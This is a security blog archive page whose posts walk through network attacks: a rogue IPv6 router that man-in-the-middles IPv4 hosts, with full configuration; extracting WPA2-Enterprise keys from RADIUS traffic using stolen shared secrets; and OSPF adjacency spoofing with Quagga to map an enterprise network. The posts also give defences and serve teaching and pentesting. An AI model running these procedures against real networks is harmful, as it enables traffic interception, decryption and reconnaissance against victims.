Archive for the Networking Category

The Case of the Great Router Robbery

Posted in Cisco, Information Leaks, Networking on 23 May, 2011 by Alec Waters

Here’s another post I wrote for the InfoSec Institute. What are the consequences for an enterprise if one of their branch routers is stolen? Read the article here – comments welcome!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at

The SLAAC Attack – using IPv6 as a weapon against IPv4

Posted in IPv6, Networking on 4 April, 2011 by Alec Waters

This article, written by myself, was originally published at InfoSec Institute in April 2011. The version below is the original text, without edits made by InfoSec Institute.

As anyone who has watched the reimagined Battlestar Galactica will tell you, Sixes are trouble. They are undoubtedly alluring, but all the while they are working covertly, following The Plan, right under the noses of their targets. Nobody realises the true nature of the threat until it’s too late.

The Internet also has its own Six, IPv6 (formerly IPng – IP Next Generation). Modern operating systems ship with it by default, but adoption has been slow for many reasons. Despite the passing of the IPocalypse, it lies largely dormant within today’s networks, waiting for the chance to rise up and usurp its IPv4 predecessor.

This article describes a proof of concept of an interesting application of IPv6. I’m going to show you how to impose a parasitic IPv6 overlay network on top of an IPv4-only network so that an attacker can carry out man-in-the-middle (MITM) attacks on IPv4 traffic.

IPv6 Background

Aside from the increased address space, IPv6 is fundamentally different to IPv4 in several key areas. This article isn’t intended to be an IPv6 primer, but I’ll highlight the main features that are relevant to the attack.

Firstly, IPv6 does not use ARP – instead, there are a set of neighbour discovery protocols implemented over ICMPv6 that allow hosts to discover the physical addresses of others on the local link. Also, routers routinely advertise their presence on the local link by multicasting “Router Advertisement” (RA) messages.

When an IPv6-aware host receives an RA, it can derive itself a valid routable IPv6 address by means of a process called Stateless Address Auto Configuration (SLAAC). The host will use the source address of the RA as its default gateway.

In as much as it facilitates automatic host addressing, SLAAC sounds a lot like DHCP in the IPv4 world. However, SLAAC alone can’t supply all of the configuration parameters that a host might need (DNS servers, for example), so DHCPv6 is still needed to fill the gaps. It turns out that you need RA, SLAAC and DHCPv6 to accomplish for IPv6 what DHCP alone can do for IPv4, but that’s another story.

Theory of operation

This proof of concept targets Windows 7 hosts, but the theory ought to apply to any operating system that ships with IPv6 installed and operational by default. Let’s start with a diagram of the target network:


Pretty straightforward stuff; everything’s IPv4, and the border router is performing the usual NAT and firewall tasks. Let’s also assume that various countermeasures are in place to thwart conventional IPv4 MITM techniques such as ARP spoofing.

What we’re going to do is physically introduce a router, evil-rtr, to the target network. evil-rtr has two network interfaces – the victim facing interface is IPv6 only, and the Internet connected interface is IPv4 only. Our aim is to use evil-rtr to create a parasitic IPv6 overlay network that’s totally under our control, as shown by the tinted area in the diagram below:


evil-rtr will send RAs to the local network which will cause the hosts to derive routable IPv6 addresses for themselves. It is also equipped with a DHCPv6 server to supply the address of a recursive DNS server that’s under our control (evil-DNS in the diagram above). What we have not done is connect our IPv6 overlay network to the IPv6 Internet – evil-rtr only has a connection to the IPv4 Internet.

The Special Sauce

The changes made by introducing evil-rtr are pretty benign so far. Thanks to evil-rtr’s RAs, all the target hosts have routable IPv6 addresses in addition to their IPv4 ones, plus the address of a DNS server. This isn’t enough to do anything useful – we need another ingredient to progress the attack.

The “special sauce” is NAT-PT, an idea that’s so riddled with issues and caveats that it’s been consigned to the trashcan of history by the IETF. However, just because it’s an obsolete mess doesn’t mean it can’t be useful.

NAT-PT is one of the many IPv4-to-IPv6 transition mechanisms that have been devised to ease migration from the old to the new. Its job is to allow islands of IPv6 hosts to communicate with IPv4 hosts by translating IPv6 addresses into IPv4 addresses and vice versa. There’s a writeup here that shows its intended operation. It’s NAT-PT that allows our IPv6-addressed victims to access the Internet through evil-rtr’s IPv4 interface.

To use NAT-PT you need to define an off-link /96 prefix; it can be pretty much any routable prefix you like. Any destination addresses seen by NAT-PT which match this prefix are interpreted as IPv6 addresses with a destination IPv4 address embedded in the last 32 bits.


For example, I might tell my NAT-PT box that the prefix I’m using is 2001:6f8:608:ace::/96. The IPv6 address of the DNS server that we’re going to give out via DHCPv6 is 2001:6f8:608:ace::c0a8:5802 – this address matches the specified prefix, so if NAT-PT sees traffic destined for  it the last 32 bits (c0a8:5802) will be extracted and translated into the DNS server’s true IPv4 address of

The Garnish on the Special Sauce

We’re nearly there. With NAT-PT in place, evil-rtr is now providing a working path from the IPv6 victims to the IPv4 Internet. If we can cause the victims to pump IPv6 traffic through evil-rtr (instead of sending IPv4 through the legitimate border router) we can have our MITM fun. It turns out that this is quite straightforward.

Thanks to evil-rtr, our victims have both IPv4 and IPv6 addresses; they are “dual stacked”. Dual stacked hosts will prefer to use native IPv6 where available, so we’re half way there already. The final garnish that will take us the rest of the way is DNS.

The dual stacked victims have an IPv4 DNS server (courtesy of the legitimate DHCP server) and an IPv6 DNS server (courtesy of evil-rtr’s DHCPv6 server). When one of the victims tries to look up, it will send a DNS query to its IPv6 DNS server for both A (IPv4) and AAAA (IPv6) records. If the IPv6 DNS server can return results in a timely enough fashion, the victim will pick the IPv6 address over the IPv4 one if the former is present. It is this behaviour we will rely on to lure traffic through evil-rtr. Our IPv6 DNS server has to be quick, though – if it takes too long to reply, the victim will fall back to using the legitimate IPv4 DNS server instead, and no traffic will pass through evil-rtr.

But how can we make sure that any given DNS query always returns an IPv6 address?

NAT-PT implementations usually include a set of Application Layer Gateways (ALGs) which inspect traffic that has IP addresses carried within the application layer protocol. DNS is an example of a protocol that requires an ALG, as is FTP. Here’s what the IPv6 DNS transaction looks like with NAT-PT and the DNS ALG working their magic:


Things to note:

  • The address of the victim’s DNS server matches the NAT-PT prefix on evil-rtr, denoting that the last 32 bits contain the DNS server’s IPv4 address.
  • NAT-PT translates the source and destination IPv6/IPv4 addresses in both directions.
  • The DNS ALG translates the victim’s AAAA query for an IPv6 address into an A query for an IPv4 address and vice versa on the way back.
  • The DNS ALG also translates the IPv4 address in the reply to an IPv6 address that matches the NAT-PT prefix.

As far as the victim is concerned, is reachable via IPv6 at 2001:6f8:608:ace::d155:8f63. It has absolutely no idea that IPv4 is involved in any way. The victim will therefore contact Google like this:


evil-rtr is therefore now a man-in-the-middle between the victim and Google.

To summarise the story so far:

  • We have not compromised or altered the operation of the victim’s IPv4 network, as we would have needed to do in order to MITM IPv4 traffic. We’ve not even needed to get an IPv4 address from their DHCP server.
  • We have not compromised an existing IPv6 network, because there wasn’t one before we arrived.
  • We have not compromised any given victim host (yet!). Each machine is behaving as designed and is choosing IPv6 over IPv4 of its own volition.
  • We have managed to totally alter the flow of traffic on the victim’s network by awakening the hosts’ latent desire to use IPv6 over IPv4.

The attack is also reasonably stealthy, since:

  • We’re introducing a new path to the Internet. Any defences or monitoring employed at the network’s IPv4 boundary are therefore ineffective and will raise no indicators of compromise.
  • There’s a chance that the victim’s security systems (e.g., host firewalls, HIPS, SIEM boxes, etc.) won’t be able to handle IPv6 traffic. IPv6 support on such systems is rarely as mature as its IPv4 equivalent.
  • Since the victims “aren’t using IPv6” they won’t be expecting an attack that makes use of it.

If the above is true, there’s a chance their Incident Response teams won’t have the necessary training and experience with IPv6 to deal with an incident that uses it.

Building evil-rtr

It doesn’t take much to implement evil-rtr. Only three packages are needed, namely radvd, dhcp6s, and naptd. Before we get these up and running, we need to set up our interfaces. In this example, eth0 is the Internet-facing IPv4 interface, and I’m going to assume that it can use a DHCP server somewhere to get an address. eth1 is the IPv6 interface, which we’ll configure like this:

root@evil-rtr:~# ifconfig eth1 inet6 add 2001:6f8:608:fab::1/64
root@evil-rtr:~# ifup eth1
root@evil-rtr:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:25:4b:fd:91:73
          inet6 addr: 2001:6f8:608:fab::1/64 Scope:Global
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

We also need to make sure that IPv6 forwarding is turned on:

root@evil-rtr:~# sysctl -w net.ipv6.conf.all.forwarding=1 net.ipv6.conf.all.forwarding = 1

Now we can install our IPv6 toys.


This package is responsible for sending RAs to our victim hosts, and can be obtained here. The configuration file is quite straightforward:

interface eth1 {
          AdvSendAdvert on;
          AdvOtherConfigFlag on;
          MinRtrAdvInterval 3;
          MaxRtrAdvInterval 10;
          prefix 2001:06f8:0608:fab::/64 {
                    AdvOnLink on;
                    AdvAutonomous on;
                    AdvRouterAddr on;

The important parts are the link prefix and the setting for AdvOtherConfigFlag. Setting this to “on” will set the O flag in the RAs. The O flag tells a client that it should also try to contact DHCPv6 for further configuration. Fire up radvd according to the documentation, and move on to…


I downloaded the WIDE DHCPv6 server from here. We have very little to hand out via DHCPv6, so the configuration file has just two lines:

option domain-name-servers 2001:6f8:608:ace::c0a8:5802;
option domain-name "";

Start it up, and move on to…


Get it here. Following the excellent documentation, we need to configure iptables and ip6tables like this:

root@evil-rtr:~# ip6tables -A OUTPUT -p icmpv6 --icmpv6-type 1 -j DROP
root@evil-rtr:~# ip6tables -A FORWARD -d 2001:6f8:608:ace:: -j DROP
root@evil-rtr:~# iptables -A INPUT -i lo -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -m state --state NEW -p tcp -m tcp --dport 22 -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -j DROP

Then we can run napt-confmaker. I answered pretty much every question with the default answer, apart from the interface selections and the NAT-PT prefix.

Once we start naptd running, the trap is set.

The Attack

This is what the output of ipconfig looks like on the victim host before evil-rtr’s IPv6 interface is connected to the network:

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet Controller (NDIS 6.20)
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10(Preferred)
IPv4 Address. . . . . . . . . . . :
Subnet Mask . . . . . . . . . . . :
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 285221771
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F
DNS Servers . . . . . . . . . . . :
NetBIOS over Tcpip. . . . . . . . : Enabled

The presence of a link-local IPv6 address confirms that the host is IPv6-capable. Once we connect evil-rtr’s eth1 interface, the victim host sees the RAs, derives a routable IPv6 address for itself, then queries DHCPv6 for further configuration. Almost immediately, the output of ipconfig will change to look like this:

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet Controller (NDIS 6.20)
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . . . . . . . : 2001:6f8:608:fab:119c:ea76:23d4:290d(Preferred)
Temporary IPv6 Address. . . . . . : 2001:6f8:608:fab:687a:83f:caa7:8f9c(Preferred)
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10(Preferred)
IPv4 Address. . . . . . . . . . . :
Subnet Mask . . . . . . . . . . . :
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33
Default Gateway . . . . . . . . . : fe80::225:4bff:fefd:9173%10
DHCP Server . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 285221771
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F

DNS Servers . . . . . . . . . . . : 2001:6f8:608:ace::c0a8:5802
NetBIOS over Tcpip. . . . . . . . : Enabled
Connection-specific DNS Suffix Search List :

It’s game over for the poor victim host:

  • It has routable IPv6 addresses of its own
  • It has an IPv6 default gateway, which is actually the link-local address of evil-rtr’s eth1 interface rather than the address we manually gave it earlier on.
  • It has an IPv6 DNS server whose address matches the NAT-PT prefix used by naptd, and which will be translated into the IPv4 address of evil-DNS.

We have successfully awakened the victim’s latent desire to use IPv6 in preference to IPv4. We’ve not needed any passwords, hacks or brute force. All we had to do was nudge the victim in the right direction.

Poetry in Motion

When the victim browses to, evil-rtr’s IPv6 eth1 interface sees this (download capture):


You can see the DNS queries sent via IPv6 to evil-DNS; both A and AAAA queries are sent, and IPv4 and IPv6 addresses delivered in response. Note that the returned IPv6 address matches our NAT-PT prefix, indicating that it has an embedded IPv4 address. The victim will choose to use this IPv6 address over the IPv4 one; evil-rtr is the man-in-the-middle.

The same transaction on evil-rtr’s IPv4 eth0 interface looks like this (download capture):


Note that all the IP addresses are IPv4, and all the DNS queries are all for A records instead of the mix of A and AAAA that we saw on eth1.

Developing the Attack further

There are several things we can do to take the attack further:

  • Given that this attack uses implanted hardware, we can make it really really tiny. Gumstix is an ideal platform; they’re small, they run Linux, and there’s a wide range of hardware on offer giving you a very small platform with an Ethernet interface to attach to the target network and an autonomous Internet connection. I’ve used Gumstix before; once you’ve got the build environment set up, the world’s your oyster.
  • We control evil-DNS, so we can make it return any IP address we like for, thereby opening up numerous opportunities for phishing.
  • In its current state, evil-rtr will MITM all traffic that is the result of a DNS query; this isn’t exactly subtle. If we can make evil-DNS return addresses only for sites of interest we can be a good deal more selective. If we can make evil-DNS ignore requests we don’t care about, the victim will fall back to their IPv4 DNS server and traffic will flow as normal.
  • As we are the man-in-the-middle, we have the opportunity to interfere with the traffic between the client and the server. We could inject malicious iframes, change https:// links to plain old http:// links, etc, etc.
  • <insert other creative evil here>

Defending against evil-rtr

The attack is possible because we were able to inject RAs onto a network of IPv6-capable hosts – the key differentiator between this attack and other similar ones is that we are not trying to subvert an existing IPv6 network; we are instead trying to build a new one out of nothing. Nevertheless, our rogue RAs were the catalyst for the successful attack. If we can stop them in their tracks, the attack will go nowhere.

Most of the time, rogue RAs are nothing more than a nuisance, often generated as a result of something as simple as turning on Windows’ Internet Connection Sharing. However, it is a serious enough issue for the IETF to put together RFC6104, the “Rogue IPv6 Router Advertisement Problem Statement”. This document is more concerned with brokenness caused by “accidentally-rogue” RAs than it is with security issues, but Section 3 gives a useful list of mitigation techniques. Sadly, most of these are difficult to employ either due to the lack of a suitable implementation (e.g., SEND), or a lack of capable hardware (e.g., RA Guard or switch ACLs). Cisco also have some tips on first hop security here and here.

If the attack can’t be prevented by the methods listed in RFC6104, perhaps it can be detected instead. NDPMon is an IPv6 equivalent to ArpWatch and is designed to detect suspicious neighbour/router discovery traffic.

However, neither RFC6104 nor NDPMon will help to defend against the SLAAC Attack. Why would anyone deploy IPv6 countermeasures when they “aren’t using” IPv6? The SLAAC Attack targets IPv6-capable IPv4 networks, not native IPv6 or dual stack ones. The most effective defence is simply to disable IPv6 on all capable hosts if there’s no business reason to use it:


This is in complete alignment with the “Minimised” principle of the Defensible Network, but doesn’t exactly foster the accelerated adoption of IPv6. I know which way I’d jump!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at

Tweaking EAP’s weak link – sucking WiFi PMKs out of RADIUS with pmkXtract

Posted in Crypto, Networking, Wireless on 23 January, 2011 by Alec Waters

When faced with a WiFi network using WPA2/EAP-TLS, options for a direct attack are limited. You can’t feasibly attack the encryption (most likely CCMP), and if the client devices are configured properly attacking the authentication mechanism directly isn’t likely to bear fruit either.

One of the advantages of the “enterprise” variants of WPA is that the Pairwise Master Keys are specific to a client device and to a single association (WPA Personal has the same PMK shared amongst all devices). To oversimplify somewhat, with WPA Enterprise the PMK for a given device is negotiated between the device and the RADIUS server as part of the EAP process. The PMK is subsequently delivered to the access point via RADIUS. Once both the client device and the AP have the PMK the normal WPA four-way handshake can complete, the output of which is a Pairwise Transient Key which is used to encrypt the session. There’s a nice diagram of the process here.

However, there is a weak link in the chain. Hacking Exposed Wireless, 2nd edition describes a possible attack against the delivery of the PMK from the RADIUS server to the access point. The theory of operation is as follows:

  1. Start capturing the wireless traffic of interest.
  2. Start capturing the RADIUS traffic between the RADIUS server and the access point.
  3. Using an obtained RADIUS shared secret, decrypt the RADIUS traffic that contains the PMKs.
  4. Use the extracted PMKs and the captured four-way handshakes to derive each device’s PTK.
  5. Decrypt every single data frame you’ve captured from the wireless network 🙂

The book didn’t cite any tools capable of extracting the PMKs from the RADIUS conversation, so I thought I’d have a go at writing one myself. The reason the book didn’t cite any tools is probably that if an attacker is in a position to capture your RADIUS traffic, you probably have bigger things to worry about. Nevertheless, it seemed like a challenge worth attempting.

Of the five points above, 1 and 2 are straightforward (assuming the attacker is well placed). 4 and 5 can be easily carried out with Wireshark. Step 3 breaks down into obtaining the shared secret and decrypting the PMKs.

Obtaining the RADIUS shared secret

As noted in Hacking Exposed Wireless, a brute force attack on the shared secret is quite feasible. Alternatively, one can just poke around the RADIUS server and find the list of secrets. For example:

  • FreeRADIUS stores all of this in clients.conf
  • Internet Authentication Service on Windows 2K3 stores everything in system32\ias\ias.mdb which you can open in MS Access (look in the Objects table)
  • Network Policy Server on Windows 2k8 stores everything in system32\ias\ias.xml in plaintext.

Secrets in hand, we can move on to…

Decrypting the PMKs

We first need to start capturing the WiFi traffic of interest. We can do this with airodump-ng:

airmon-ng start wlan0
airodump-ng –channel 1 –bssid 00:1c:df:8b:50:66 –write pmkXtract mon0

Now we can turn our attention to capturing the PMKs. The PMKs are transmitted in the final RADIUS message of the transaction (the Access-Accept message), and they’re stored encrypted in a vendor-specific attribute, MS-MPPE-Recv-Key:

Given the correct shared secret, Wireshark is apparently capable of decrypting RADIUS traffic but I couldn’t make it work for MS-MPPE-Recv-Key. Shying away from actually writing decryption code from scratch, I invoked the age-old software engineering tradition of “code re-use”, aka pinching someone else’s stuff.

hostapd is a user-space access point daemon, and has full support for EAP-TLS. After nosing around and debugging the code, I found the procedure that does the decryption – decrypt_ms_key() in radius.c.


pmkXtract is a quick and dirty hack that wraps up decrypt_ms_key(); all we need to do is feed it:

  • The RADIUS shared secret
  • The request authenticator from the final Access-Request message
  • The MS-MPPE-Recv-Key from the following Access-Accept message

A neater, future version of pmkXtract would capture the latter two straight off the wire, but for now they are CLI parameters. The most convenient way to get these values is with tshark, supplying the appropriate capture filter:

tshark -T fields -e radius.code -e -e radius.authenticator -e radius.MS_MPPE_Recv_Key -E separator=! ip host access.point.ip.addr

This will produce output like this:


What we’re looking for is a pair of code1/code2 messages with the same ID, as is the case with the last two lines above with ID 12. Code 1 denotes Access-Request, code 2 is Access-Accept. Now we can pass the message authenticator from the access-request and the MS-MPPE-Recv-Key from the access-accept to pmkXtract, along with the shared secret:

C:\>pmkXtract secret 5d:5c:<snip>:69:5d 80:8a:<snip>:7d:79
PMK is:c8cad1f342e431bdf97b3fd1c37bf2fe

Score! We’ve got the PMK.

Decrypting the captured WiFi traffic

The first thing we need to do is look through our airodump capture for the WPA four-way handshake:

Frames 134, 136, 138, and 140 are the four-way handshake

As we might expect, the contents of the capture is unintelligible:

Now we can enter the PMK that pmkXtract gave us, by going Edit->Preferences, and selecting IEEE802.11 under Protocols:

And hey presto, we have decrypted the traffic. Note the “Decrypted CCMP data” sub-tab at the bottom of the window:

As I’ve already said, if an attacker can pull this off, they already have a deep foothold in your infrastructure. Use strong RADIUS secrets, secure the list of secrets on the server (clients.conf, ias.mdb, etc) as well as you can, and if it’s possible, protect the RADIUS exchange with IPSec.

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at

Next Generation Naughtiness at the Dead Beef Cafe

Posted in General Security, IPv6, Networking, NSM on 23 December, 2010 by Alec Waters

The IPocalypse is nearly upon us. Amongst the FUD, the four horsemen are revving up their steeds, each bearing 32 bits of the IPv6 Global Multicast Address of Armageddon, ff0e::dead:beef:666.

Making sure that the four horsemen don’t bust into our stables undetected is something of a challenge at the moment; IPv6 can represent a definite network monitoring blind spot or, at worst, an unpoliced path right into the heart of your network. Consider the following:

Routers and Firewalls

Although a router may be capable of routing IPv6, are all the features you use on the router IPv6-enabled? Is the firewall process inspecting IPv6 traffic? If it is, is it as feature-rich as the IPv4 equivalent (e.g., does it support application-layer inspection for protocols like FTP, or HTTP protocol compliance checking?)

End hosts

If you IPv6-enable your infrastructure, you may be inadvertently assigning internal hosts global IPv6 addresses (2001::) via stateless address autoconfiguration. If this happens (deliberately or accidentally), are the hosts reachable from the Internet directly? There’s no safety blanket of NAT for internal hosts like there is in IPv4, and if your network and/or host firewalls aren’t configured for IPv6 you could be wide open.


Do your IDS/IPS boxes support IPv6? Snort’s had IPv6 support since (I think) v2.8; the Cisco IPS products are also IPv6-aware, as I’m sure are many others.

Session tracking tools

SANCP has no IPv6 support; Argus does, as does cxtracker. netflow can also be configured to export IPv6 flows using v9 flow exports.

Reporting tools

Even if all of your all-seeing-eyes support IPv6, they’re of little use if your reporting tools don’t. Can your netflow analyser handle IPv6 exports? What about your IDS reporting tools – are they showing you alerts on IPv6 traffic? What about your expensive SIEM box?

The IPv6 Internet is just as rotten as the IPv4 one

We’ve seen some quite prolific IPv6 port scanning just as described here, complete with scans of addresses like 2001:x:x:x::c0:ffee and 2001:x:x:x::dead:beef:cafe. The same scanning host also targeted UDP/53 trying to resolve ‘localhost’, with the same source port (6689) being used for both TCP and UDP scans. I have no idea if this is reconnaissance or part of some kind of research project, but there were nearly 13000 attempts from this one host in the space of about three seconds.

Due to the current lack of visibility into IPv6, it can also make a great bearer of covert channels for an attacker or pentester. Even if you’re not running IPv6 at all, an attacker who gains a foothold within your network could easily set up a low-observable IPv6-over-IPv4 tunnel using one of the many IPv6 transition mechanisms available, such as 6in4 (uses IPv4 protocol 41) or Teredo (encapsulates IPv6 in UDP, and can increase the host’s attack surface by assigning globally routable IPv6 addresses to hosts behind NAT devices, which are otherwise mostly unreachable from the Internet).

The IPocalypse is coming…

…that’s for certain; we just have to make sure we’re ready for it. Even if you’re not using IPv6 right now, you probably will be to some degree a little way down the road. Now’s the time to check the capability of your monitoring infrastructure, and to conduct a traffic audit looking for tunneled IPv6 traffic. Who knows what you might find!

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at

Cap’n Quagga’s Pirate Treasure Map

Posted in Cisco, Networking, NSM on 23 November, 2010 by Alec Waters

Avast, me hearties! When a swashbucklin’ pirate sights land whilst sailin’ uncharted waters, the first thing he be doin’ is makin’ a map. Ye can’t be burying ye treasure if ye don’t have a map, yarrr!


For everyone’s sanity, the pirate speak ends now. Save it for TLAP day!

When searching for booty on a network, it’s often useful to have a map. If you’ve got a foothold during a pentest, for example, how far does your conquered domain stretch? Is it a single-subnet site behind a SOHO router, or a tiny outpost of a corporate empire spanning several countries?

To get the answer, the best thing to do is ask one of the locals. In this case, we’re going to try to convince a helpful router to give up the goods and tell us what the network looks like. The control plane within the enterprise’s routers contains the routing table, which is essentially a list of destination prefixes (i.e., IP networks) and the next-hop to be used to get there (i.e., which neighbouring router to pass traffic on to in order to reach a destination).

The routing table is populated by a routing protocol (such as BGP, OSPF, EIGRP, RIP, etc), which may in turn have many internal tables and data structures of its own. Interior routing protocols (like OSPF) are concerned with finding the “best” route from A to B within the enterprise using a “technical” perspective; they’re concerned with automatically finding the “shortest” and “fastest” route, as opposed to exterior routing protocols like BGP which are more interested in implementing human-written traffic forwarding policies between different organisations.

The key word above automatic. Interior routing protocols like to discover new neighbouring routers without intervention – it can therefore cater for failed routers that come back online, and allow the network to grow and have the “best” paths recomputed automatically.

So, how are we going to get our treasure map so that we know how far we can explore? We’re going to call in Cap’n Quagga!

Technically, it's James the Pirate Zebra, but seriously man, you try finding a picture of a pirate quagga!! They're extinct, for starters!

Pirate Cap'n Quagga aboard his ship, "Ye Stripy Scallywag"

Quagga is a software implementation of a handful of routing protocols. We’re going to use it to convince the local router that we’re a new member of the pirate fleet, upon which the router will form a neighbour relationship with us. After this has happened we’ll end up with our pirate treasure map, namely the enterprise’s routing table. Finally, we’ll look at ways in which the corporate privateers can detect Cap’n Quagga, and ways to prevent his buckle from swashing in the first place.

For the purposes of this article we’re going to use OSPF, but the principles hold for other protocols too. OSPF is quite a beast, and full discussion of the protocol is well beyond the scope of this article – interested parties should pick up a book.

Step One – Installing and configuring Quagga

I’m using Debian, so ‘apt-get install quagga’ will do the job quite nicely. Once installed, we need to tweak a few files:


This file controls which routing protocols will run. We’re interested only in OSPF for this example, so we can edit it as follows:


As shown above, we need to turn on the zebra daemon too – ospfd can’t stand alone.

Next, we need to set up some basic config files for zebra and ospfd:


hostname pentest-zebra
password quagga
enable password quagga


hostname pentest
password quagga
enable password quagga
log stdout

Now we can force a restart of Quagga with ‘/etc/init.d/quagga restart’.

For more information, the Quagga documentation is here, the wiki is here, and there’s a great tutorial here.

Step Two – Climb the rigging to the crow’s nest and get out ye spyglass

We need to work out if there’s a router on the local subnet that’s running OSPF. This step is straightforward, as OSPF sends out multicast “Hello” packets by default every ten seconds – all we have to do is listen for it. As far as capturing this traffic goes, it has a few distinguishing features:

  • The destination IP address is, the reserved AllSPFRouters multicast address
  • The IP datagrams have a TTL of one, ensuring that the multicast scope is link local only
  • OSPF does not ride inside TCP or UDP – it has its own IP Protocol number, 89.

The easiest capture filter for tshark/tethereal or their GUI equivalents is simply “ip proto 89”; this will capture OSPF hellos in short order:

Ahoy there, matey!

Apart from confirming the presence of a local OSPF router, this information is critical in establishing the next step on our journey to plunderville – we need Quagga’s simulated router to form a special kind of neighbour relationship with the real router called an “adjacency”. Only once an adjacency has formed will routing information be exchanged. Fortunately, everything we need to know is in the hello packet:

Ye're flying my colours, matey!

For a text only environment, “tshark -i eth0 -f ‘ip proto 89’ -V” provides similar output.

Step Three – configure Quagga’s OSPF daemon

For an adjacency to form (which will allow the exchange of LSAs, which will allow us to populate the OSPF database, which will allow us to run the SPF algorithm, which will allow us to populate the local IP routing table…), we need to configure Quagga so that all of the highlighted parameters above match. The command syntax is very Cisco-esque, and supports context sensitive help, abbreviated commands and tab completion. I’m showing the full commands here, but you can abbreviate as necessary:

# telnet localhost ospfd
Connected to localhost.
Escape character is ‘^]’.

Hello, this is Quagga (version 0.99.17).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

User Access Verification

pentest> enable
pentest# configure terminal
pentest(config)# interface eth0
! Make the hello and dead intervals match what we’ve captured
pentest(config-if)# ospf hello-interval 10
pentest(config-if)# ospf dead-interval 40
pentest(config-if)# exit
pentest(config)# router ospf
! eth0 on this machine was given by DHCP
! The command below will put any interfaces in
! into area, effectively
! therefore “turning on” OSPF on eth0
! The area id can be specified as an integer (4) or
! as a dotted quad (
pentest(config-router)# network area
pentest(config-router)# exit
pentest(config)# exit

We can check our work by looking at the running-config:

pentest# show running-config

Current configuration:
hostname pentest
password quagga
enable password quagga
log stdout
interface eth0
interface lo
router ospf
network area
line vty

The Hello and Dead intervals of 10 and 40 are the defaults, which is why they don’t show in the running-config under ‘interface eth0’.

Step Four – Start diggin’, matey!

With a bit of luck, we’ll have formed an OSPF adjacency with the local router:

pentest# show ip ospf neighbor

Neighbor ID Pri  State    Dead Time Address        Interface   1  Full/DR  32.051s eth0:

If we exit from Quagga’s OSPF daemon and connect to zebra instead, we can look at our shiny new routing table. Routes learned via OSPF are prefixed with O:

# telnet localhost zebra
Connected to localhost.
Escape character is ‘^]’.

Hello, this is Quagga (version 0.99.17).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

User Access Verification

pentest-zebra> show ip route
Codes: K – kernel route, C – connected, S – static, R – RIP, O – OSPF,
I – ISIS, B – BGP, > – selected route, * – FIB route

O [110/1] via, eth0, 00:04:45
K>* via, eth0
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/15] via, eth0, 00:04:46
O>* [110/16] via, eth0, 00:04:46
O>* [110/11] via, eth0, 00:04:46
O>* [110/110] via, eth0, 00:04:46
O>* [110/12] via, eth0, 00:04:46
O>* [110/13] via, eth0, 00:04:46
O>* [110/16] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46
O>* [110/1012] via, eth0, 00:04:46

We clearly are not just sitting on a single-subnet LAN! Here are some of the things we can learn from the routing table:

  • Firstly, we’ve got a few more subnets than merely the local one to enumerate with nmap etc!
  • We can make some kind of estimation on how far away the subnets are by looking at the route metrics. An example above is the ‘1012’ part of ‘[110/1012]’. 1012 is the metric for the route, with the precise meaning of “metric” varying from routing protocol to routing protocol. In the case of OSPF, by default this is the sum of the interface costs between here and the destination, where the interface cost is derived from the interface’s speed. The 110 part denotes the OSPF protocol’s “administrative distance“, which is a measure of trustworthiness of a route offered for inclusion in the routing table by a given routing protocol. If two protocols offer the routing table exactly the same prefix (, for example), the routing protocol with the lowest AD will “win”.
  • A good number of these routes have a prefix length of /26 (i.e., a subnet mask of, meaning that they represent 64 IP addresses. These are likely to be host subnets with new victims on them.
  • The /30 routes (4 IP addresses) are likely to be point-to-point links between routers or even WAN or VPN links between sites.
  • The /32 routes (just one IP address) are going to be loopback addresses on individual routers. If you want to target infrastructure directly, these are the ones to go for.

If you want to start digging really deeply, you can look at the OSPF database (show ip ospf database), but that’s waaay out of scope for now.

Step Five – Prepare a broadside!

